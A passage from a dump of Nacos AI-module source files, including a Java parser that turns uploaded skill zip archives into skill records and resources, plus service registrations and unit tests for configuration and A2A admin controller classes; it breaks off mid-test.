    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/SkillZipParser.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport com.alibaba.nacos.api.ai.model.skills.SkillUtils;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveEntry;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveInputStream;\n\n/**\n * Skill zip parser utility. Supports both text and binary resources:\n * text files are stored as UTF-8; binary files (e.g. .ttf, .png) are stored as Base64 with metadata encoding=base64.\n *\n * @author nacos\n */\npublic class SkillZipParser {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SkillZipParser.class);\n    \n    private static final String SKILL_MD_FILE = \"SKILL.md\";\n    /** UTF-8 BOM character that some editors prepend to files. Must be stripped before parsing. */\n    private static final char UTF8_BOM = '\\uFEFF';\n    /** macOS AppleDouble/resource fork metadata file prefix (e.g. ._LICENSE.txt). Should be excluded from skill zip. */\n    private static final String MACOS_METADATA_PREFIX = \"._\";\n    private static final String INSTRUCTIONS_HEADER_WITH_SPACE = \"## Instructions\";\n    private static final String INSTRUCTIONS_HEADER_NO_SPACE = \"##Instructions\";\n    private static final String DOUBLE_QUOTE = \"\\\"\";\n    private static final String SINGLE_QUOTE = \"'\";\n    private static final String DOUBLE_SINGLE_QUOTE = \"''\";\n    private static final String BACKSLASH = \"\\\\\";\n    private static final String DOUBLE_BACKSLASH = \"\\\\\\\\\";\n    private static final String ESCAPED_DOUBLE_QUOTE = \"\\\\\\\"\";\n    private static final String SLASH = \"/\";\n    private static final String DOT = \".\";\n    /** Metadata key for binary resources: value \"base64\" means content is Base64-encoded. */\n    private static final String METADATA_ENCODING = \"encoding\";\n    private static final String METADATA_ENCODING_BASE64 = \"base64\";\n    \n    /** File extensions treated as binary; content will be stored as Base64. */\n    private static final Set<String> BINARY_EXTENSIONS = new HashSet<>();\n    \n    static {\n        BINARY_EXTENSIONS.add(\"ttf\");\n        BINARY_EXTENSIONS.add(\"otf\");\n        BINARY_EXTENSIONS.add(\"woff\");\n        BINARY_EXTENSIONS.add(\"woff2\");\n        BINARY_EXTENSIONS.add(\"eot\");\n        BINARY_EXTENSIONS.add(\"png\");\n        BINARY_EXTENSIONS.add(\"jpg\");\n        BINARY_EXTENSIONS.add(\"jpeg\");\n        BINARY_EXTENSIONS.add(\"gif\");\n        BINARY_EXTENSIONS.add(\"webp\");\n        BINARY_EXTENSIONS.add(\"ico\");\n        BINARY_EXTENSIONS.add(\"cur\");\n        BINARY_EXTENSIONS.add(\"pdf\");\n        BINARY_EXTENSIONS.add(\"bin\");\n    }\n    \n    private static final Pattern YAML_FRONT_MATTER = Pattern.compile(\n            \"^---\\\\s*\\\\n(.*?)\\\\n---\\\\s*\\\\n(.*)$\", Pattern.DOTALL);\n    \n    /**\n     * Parse skill from zip file bytes. Zip size must not exceed {@link Constants.Skills#MAX_UPLOAD_ZIP_BYTES}.\n     * Text files are decoded as UTF-8; binary files (by extension) are stored as Base64 with metadata encoding=base64.\n     *\n     * @param zipBytes zip file bytes\n     * @param namespaceId namespace ID\n     * @return parsed skill\n     * @throws NacosApiException if parsing failed or zip exceeds size limit\n     */\n    public static Skill parseSkillFromZip(byte[] zipBytes, String namespaceId) throws NacosApiException {\n        if (zipBytes == null || zipBytes.length == 0) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Skill zip file is empty\");\n        }\n        if (zipBytes.length > Constants.Skills.MAX_UPLOAD_ZIP_BYTES) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Skill zip size must not exceed \" + (Constants.Skills.MAX_UPLOAD_ZIP_BYTES / 1024 / 1024) + \"MB, current: \"\n                            + (zipBytes.length / 1024 / 1024) + \"MB\");\n        }\n        try {\n            List<ZipEntryData> entries = unzipToEntries(zipBytes);\n            String skillMdContent = null;\n            for (ZipEntryData entry : entries) {\n                String name = entry.name;\n                if (isMacOsMetadataFile(name)) {\n                    continue;\n                }\n                boolean isSkillMdFile = SKILL_MD_FILE.equals(name);\n                boolean isSkillMdInSubdir = name.endsWith(SLASH + SKILL_MD_FILE);\n                boolean endsWithSkillMd = name.endsWith(SKILL_MD_FILE);\n                boolean isSkillMd = isSkillMdFile || isSkillMdInSubdir;\n                if (endsWithSkillMd && isSkillMd) {\n                    skillMdContent = stripBom(new String(entry.data, StandardCharsets.UTF_8));\n                    break;\n                }\n            }\n            \n            if (StringUtils.isBlank(skillMdContent)) {\n                throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"SKILL.md file not found in zip\");\n            }\n            \n            Skill skill = parseSkillMarkdown(skillMdContent, namespaceId);\n            Map<String, SkillResource> resources = parseResources(entries, skill.getName());\n            skill.setResource(resources);\n            \n            return skill;\n        } catch (NacosApiException e) {\n            throw e;\n        } catch (Exception e) {\n            LOGGER.error(\"Failed to parse skill zip file\", e);\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARSING_DATA_FAILED,\n                    \"Failed to parse zip file: \" + e.getMessage());\n        }\n    }\n    \n    /**\n     * Unzip to list of (name, raw bytes). Does not decode as text so binary files are preserved.\n     * Uses Apache Commons Compress to support zip files with STORED entries that have data descriptor\n     * (e.g. created on macOS or by some tools), which JDK ZipInputStream rejects.\n     */\n    private static List<ZipEntryData> unzipToEntries(byte[] zipBytes) throws IOException {\n        List<ZipEntryData> result = new ArrayList<>();\n        try (ZipArchiveInputStream zis = new ZipArchiveInputStream(new ByteArrayInputStream(zipBytes),\n                StandardCharsets.UTF_8.name(), true, true)) {\n            ZipArchiveEntry entry;\n            byte[] buffer = new byte[8192];\n            while ((entry = zis.getNextEntry()) != null) {\n                if (entry.isDirectory()) {\n                    continue;\n                }\n                String name = entry.getName();\n                boolean isMacOsxEntry = name != null && (name.contains(\"__MACOSX\") || name.contains(\"/__MACOSX/\"));\n                if (isMacOsxEntry) {\n                    continue;\n                }\n                ByteArrayOutputStream out = new ByteArrayOutputStream();\n                int n;\n                while ((n = zis.read(buffer)) != -1) {\n                    out.write(buffer, 0, n);\n                }\n                result.add(new ZipEntryData(name, out.toByteArray()));\n            }\n        }\n        return result;\n    }\n    \n    /**\n     * Parse resources from zip entries. Text files use UTF-8 content; binary (by extension) use Base64 content and metadata encoding=base64.\n     */\n    private static Map<String, SkillResource> parseResources(List<ZipEntryData> entries, String skillName) {\n        Map<String, SkillResource> resources = new HashMap<>(16);\n        \n        for (ZipEntryData entry : entries) {\n            String itemName = entry.name;\n            if (isMacOsMetadataFile(itemName)) {\n                continue;\n            }\n            if (itemName.endsWith(SKILL_MD_FILE) || itemName.endsWith(\"/\")) {\n                continue;\n            }\n            \n            String[] parts = itemName.split(\"/\");\n            String type;\n            String resourceName;\n            if (parts.length == 2 && parts[0].equals(skillName)) {\n                type = \"\";\n                resourceName = parts[1];\n            } else if (parts.length >= 3 && parts[0].equals(skillName)) {\n                // Preserve full path as type so multi-level folders (e.g. folder1/folder2) are kept\n                StringBuilder typeSb = new StringBuilder();\n                for (int i = 1; i < parts.length - 1; i++) {\n                    if (typeSb.length() > 0) {\n                        typeSb.append('/');\n                    }\n                    typeSb.append(parts[i]);\n                }\n                type = typeSb.toString();\n                resourceName = parts[parts.length - 1];\n            } else if (parts.length >= 2) {\n                StringBuilder typeSb = new StringBuilder();\n                for (int i = 0; i < parts.length - 1; i++) {\n                    if (typeSb.length() > 0) {\n                        typeSb.append('/');\n                    }\n                    typeSb.append(parts[i]);\n                }\n                type = typeSb.toString();\n                resourceName = parts[parts.length - 1];\n            } else {\n                continue;\n            }\n            \n            boolean isBinary = isBinaryResource(resourceName);\n            String content;\n            Map<String, Object> metadata = new HashMap<>(4);\n            if (isBinary) {\n                content = Base64.getEncoder().encodeToString(entry.data);\n                metadata.put(METADATA_ENCODING, METADATA_ENCODING_BASE64);\n            } else {\n                content = new String(entry.data, StandardCharsets.UTF_8);\n            }\n            \n            SkillResource resource = new SkillResource();\n            resource.setName(resourceName);\n            resource.setType(type);\n            resource.setContent(content);\n            resource.setMetadata(metadata.isEmpty() ? null : metadata);\n            // Use same key as getSkillDetail so resource map is consistent when skill is read back\n            String key = SkillUtils.generateResourceId(type, resourceName);\n            resources.put(key, resource);\n        }\n        \n        return resources;\n    }\n    \n    private static boolean isBinaryResource(String fileName) {\n        if (StringUtils.isBlank(fileName) || !fileName.contains(DOT)) {\n            return false;\n        }\n        String ext = fileName.substring(fileName.lastIndexOf(DOT.charAt(0)) + 1).trim().toLowerCase();\n        return BINARY_EXTENSIONS.contains(ext);\n    }\n    \n    private static final class ZipEntryData {\n        final String name;\n        final byte[] data;\n        \n        ZipEntryData(String name, byte[] data) {\n            this.name = name;\n            this.data = data;\n        }\n    }\n    \n    /**\n     * Parse skill from SKILL.md markdown content.\n     */\n    private static Skill parseSkillMarkdown(String markdownContent, String namespaceId) throws NacosApiException {\n        Matcher matcher = YAML_FRONT_MATTER.matcher(markdownContent);\n        \n        if (!matcher.matches()) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"SKILL.md must contain YAML front matter (---)\");\n        }\n        \n        String yamlContent = matcher.group(1);\n        String instructionContent = matcher.group(2);\n        \n        Map<String, String> yamlMap = parseYamlFrontMatter(yamlContent);\n        \n        String name = yamlMap.get(\"name\");\n        String description = yamlMap.get(\"description\");\n        \n        if (StringUtils.isBlank(name)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Skill name is required in YAML front matter\");\n        }\n        \n        if (StringUtils.isBlank(description)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Skill description is required in YAML front matter\");\n        }\n        \n        String instruction = extractInstruction(instructionContent);\n        \n        if (StringUtils.isBlank(instruction)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Skill instruction is required\");\n        }\n        \n        Skill skill = new Skill();\n        skill.setNamespaceId(namespaceId);\n        skill.setName(name.trim());\n        skill.setDescription(description.trim());\n        skill.setInstruction(instruction.trim());\n        \n        return skill;\n    }\n    \n    private static Map<String, String> parseYamlFrontMatter(String yamlContent) {\n        Map<String, String> result = new HashMap<>(4);\n        String[] lines = yamlContent.split(\"\\\\n\");\n        \n        for (String line : lines) {\n            line = line.trim();\n            if (line.isEmpty() || line.startsWith(\"#\")) {\n                continue;\n            }\n            \n            int colonIndex = line.indexOf(':');\n            if (colonIndex > 0) {\n                String key = line.substring(0, colonIndex).trim();\n                String value = line.substring(colonIndex + 1).trim();\n                boolean hasDoubleQuotes = value.startsWith(DOUBLE_QUOTE) && value.endsWith(DOUBLE_QUOTE);\n                boolean hasSingleQuotes = value.startsWith(SINGLE_QUOTE) && value.endsWith(SINGLE_QUOTE);\n                if (hasDoubleQuotes) {\n                    value = value.substring(1, value.length() - 1);\n                    value = unescapeDoubleQuotedYamlValue(value);\n                } else if (hasSingleQuotes) {\n                    value = value.substring(1, value.length() - 1);\n                    value = value.replace(DOUBLE_SINGLE_QUOTE, SINGLE_QUOTE);\n                }\n                result.put(key, value);\n            }\n        }\n        \n        return result;\n    }\n\n    /**\n     * Minimal unescape for double-quoted YAML scalar values.\n     * Only revert the escape sequences that are emitted by SKILL.md exporters:\n     * - \\\\\\\\ -> \\\n     * - \\\\\\\" -> \"\n     */\n    private static String unescapeDoubleQuotedYamlValue(String value) {\n        if (StringUtils.isBlank(value)) {\n            return value;\n        }\n        return value.replace(DOUBLE_BACKSLASH, BACKSLASH).replace(ESCAPED_DOUBLE_QUOTE, DOUBLE_QUOTE);\n    }\n    \n    private static String extractInstruction(String markdownContent) {\n        String content = markdownContent.trim();\n        boolean hasHeaderWithSpace = content.startsWith(INSTRUCTIONS_HEADER_WITH_SPACE);\n        boolean hasHeaderNoSpace = content.startsWith(INSTRUCTIONS_HEADER_NO_SPACE);\n        if (hasHeaderWithSpace || hasHeaderNoSpace) {\n            int headerEnd = content.indexOf('\\n');\n            if (headerEnd > 0) {\n                content = content.substring(headerEnd).trim();\n            } else {\n                content = content.replaceFirst(\"##\\\\s*Instructions\\\\s*\", \"\");\n            }\n        }\n        return content.trim();\n    }\n    \n    private static boolean isMacOsMetadataFile(String itemName) {\n        if (StringUtils.isBlank(itemName)) {\n            return false;\n        }\n        int lastSlash = itemName.lastIndexOf('/');\n        String fileName = lastSlash >= 0 ? itemName.substring(lastSlash + 1) : itemName;\n        return fileName.startsWith(MACOS_METADATA_PREFIX);\n    }\n    \n    /**\n     * Strip UTF-8 BOM character from the beginning of a string if present.\n     *\n     * @param content the string to strip BOM from\n     * @return the string without leading BOM\n     */\n    private static String stripBom(String content) {\n        if (content != null && !content.isEmpty() && content.charAt(0) == UTF8_BOM) {\n            return content.substring(1);\n        }\n        return content;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/resources/META-INF/services/com.alibaba.nacos.ai.service.McpServerOperationService",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.ai.service.McpServerOperationService\n"
  },
  {
    "path": "ai/src/main/resources/META-INF/services/com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.ai.param.McpHttpParamExtractor\ncom.alibaba.nacos.ai.param.AgentHttpParamExtractor"
  },
  {
    "path": "ai/src/main/resources/META-INF/services/com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter",
    "content": "#\n# Copyright 1999-2025 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.ai.config.AiEnabledFilter"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/config/AiEnabledFilterTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.mock.env.MockEnvironment;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AiEnabledFilterTest {\n    \n    AiEnabledFilter aiEnabledFilter;\n    \n    MockEnvironment environment;\n    \n    @BeforeEach\n    void setUp() {\n        environment = new MockEnvironment();\n        EnvUtil.setEnvironment(environment);\n        aiEnabledFilter = new AiEnabledFilter();\n    }\n    \n    @AfterEach\n    void tearDown() {\n        EnvUtil.setEnvironment(null);\n        ReflectionTestUtils.setField(EnvUtil.class, \"functionModeType\", \"\");\n    }\n    \n    @Test\n    void getResponsiblePackagePrefix() {\n        assertEquals(\"com.alibaba.nacos.ai\", aiEnabledFilter.getResponsiblePackagePrefix());\n    }\n    \n    @Test\n    void isExcludedOnlyNamingFunction() {\n        ReflectionTestUtils.setField(EnvUtil.class, \"functionModeType\", \"naming\");\n        assertTrue(aiEnabledFilter.isExcluded(\"com.alibaba.nacos.ai.config.AiEnabledFilter\", null));\n    }\n    \n    @Test\n    void isExcludedOnlyConfigFunction() {\n        ReflectionTestUtils.setField(EnvUtil.class, \"functionModeType\", \"config\");\n        assertTrue(aiEnabledFilter.isExcluded(\"com.alibaba.nacos.ai.config.AiEnabledFilter\", null));\n    }\n    \n    @Test\n    void isExcludedDisabled() {\n        environment.setProperty(\"nacos.extension.ai.enabled\", \"false\");\n        assertTrue(aiEnabledFilter.isExcluded(\"com.alibaba.nacos.ai.config.AiEnabledFilter\", null));\n    }\n    \n    @Test\n    void isExcludedEnabled() {\n        environment.setProperty(\"nacos.extension.ai.enabled\", \"true\");\n        assertFalse(aiEnabledFilter.isExcluded(\"com.alibaba.nacos.ai.config.AiEnabledFilter\", null));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/config/McpCacheIndexPropertiesTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass McpCacheIndexPropertiesTest {\n    \n    @Test\n    public void testToString() {\n        McpCacheIndexProperties properties = new McpCacheIndexProperties();\n        // Test default value.\n        assertEquals(\n                \"McpCacheIndexProperties{enabled=true, maxSize=10000, expireTimeSeconds=3600, cleanupIntervalSeconds=300, syncIntervalSeconds=300}\",\n                properties.toString());\n        properties.setEnabled(false);\n        properties.setCleanupIntervalSeconds(10);\n        properties.setSyncIntervalSeconds(10);\n        properties.setExpireTimeSeconds(10);\n        properties.setMaxSize(100);\n        assertEquals(\n                \"McpCacheIndexProperties{enabled=false, maxSize=100, expireTimeSeconds=10, cleanupIntervalSeconds=10, syncIntervalSeconds=10}\",\n                properties.toString());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/config/McpConfigurationTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport com.alibaba.nacos.core.code.ControllerMethodsCache;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass McpConfigurationTest {\n    \n    @Mock\n    ControllerMethodsCache methodsCache;\n    \n    @Test\n    void testInit() {\n        McpConfiguration mcpConfiguration = new McpConfiguration(methodsCache);\n        mcpConfiguration.init();\n        verify(methodsCache).initClassMethod(\"com.alibaba.nacos.ai.controller\");\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/config/McpServerIndexConfigurationTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.config;\n\nimport com.alibaba.nacos.ai.index.CachedMcpServerIndex;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.index.PlainMcpServerIndex;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\nimport org.junit.jupiter.api.Nested;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.TestPropertySource;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertInstanceOf;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.mockito.Mockito.mock;\n\n/**\n * Unit tests for McpServerIndexConfiguration.\n */\nclass McpServerIndexConfigurationTest {\n    \n    @Configuration\n    static class TestConfig {\n        \n        @Bean\n        public ConfigDetailService configDetailService() {\n            return mock(ConfigDetailService.class);\n        }\n        \n        @Bean\n        public NamespaceOperationService namespaceOperationService() {\n            return mock(NamespaceOperationService.class);\n        }\n        \n        @Bean\n        public ConfigQueryChainService configQueryChainService() {\n            return mock(ConfigQueryChainService.class);\n        }\n    }\n    \n    @Nested\n    @ExtendWith(SpringExtension.class)\n    @ContextConfiguration(classes = {McpServerIndexConfiguration.class, TestConfig.class})\n    @TestPropertySource(properties = {\"nacos.mcp.cache.enabled=true\"})\n    class CacheEnabled {\n        \n        @org.springframework.beans.factory.annotation.Autowired(required = false)\n        private McpServerIndex mcpServerIndex;\n        \n        @Test\n        void shouldInjectCachedMcpServerIndexWhenCacheEnabled() {\n            assertNotNull(mcpServerIndex, \"McpServerIndex should be injected\");\n            assertInstanceOf(CachedMcpServerIndex.class, mcpServerIndex,\n                    \"Should be CachedMcpServerIndex when cache enabled\");\n        }\n    }\n    \n    @Nested\n    @ExtendWith(SpringExtension.class)\n    @ContextConfiguration(classes = {McpServerIndexConfiguration.class, TestConfig.class})\n    @TestPropertySource(properties = {\"nacos.mcp.cache.enabled=false\"})\n    class CacheDisabled {\n        \n        @org.springframework.beans.factory.annotation.Autowired(required = false)\n        private McpServerIndex mcpServerIndex;\n        \n        @Test\n        void shouldInjectPlainMcpServerIndexWhenCacheDisabled() {\n            assertNotNull(mcpServerIndex, \"McpServerIndex should be injected\");\n            assertInstanceOf(PlainMcpServerIndex.class, mcpServerIndex,\n                    \"Should be PlainMcpServerIndex when cache disabled\");\n        }\n    }\n} "
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/controller/A2aAdminControllerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.ai.constant.Constants.MCP_LIST_SEARCH_BLUR;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyBoolean;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.doNothing;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * Unit tests for A2aAdminController.\n *\n * @author nacos\n */\n@ExtendWith(MockitoExtension.class)\nclass A2aAdminControllerTest {\n    \n    @Mock\n    private A2aServerOperationService a2aServerOperationService;\n    \n    @InjectMocks\n    private A2aAdminController a2aAdminController;\n    \n    private AgentCardForm agentCardForm;\n    \n    private AgentForm agentForm;\n    \n    private AgentCardUpdateForm agentCardUpdateForm;\n    \n    private AgentListForm agentListForm;\n    \n    private PageForm pageForm;\n    \n    @BeforeEach\n    void setUp() {\n        agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setNamespaceId(\"public\");\n        agentCardForm.setVersion(\"1.0.0\");\n        agentCardForm.setRegistrationType(AiConstants.A2a.A2A_ENDPOINT_TYPE_URL);\n        agentCardForm.setAgentCard(\n                \"{\\\"name\\\":\\\"test-agent\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"protocolVersion\\\":\\\"1.0\\\",\\\"preferredTransport\\\":\\\"JSONRPC\\\",\\\"description\\\":\\\"Test agent description\\\",\\\"url\\\":\\\"http://test-agent.example.com\\\"}\");\n        \n        agentForm = new AgentForm();\n        agentForm.setAgentName(\"test-agent\");\n        agentForm.setNamespaceId(\"public\");\n        agentForm.setVersion(\"1.0.0\");\n        agentForm.setRegistrationType(AiConstants.A2a.A2A_ENDPOINT_TYPE_URL);\n        \n        agentCardUpdateForm = new AgentCardUpdateForm();\n        agentCardUpdateForm.setAgentName(\"test-agent\");\n        agentCardUpdateForm.setNamespaceId(\"public\");\n        agentCardUpdateForm.setVersion(\"1.0.0\");\n        agentCardUpdateForm.setSetAsLatest(true);\n        agentCardUpdateForm.setRegistrationType(AiConstants.A2a.A2A_ENDPOINT_TYPE_URL);\n        agentCardUpdateForm.setAgentCard(\n                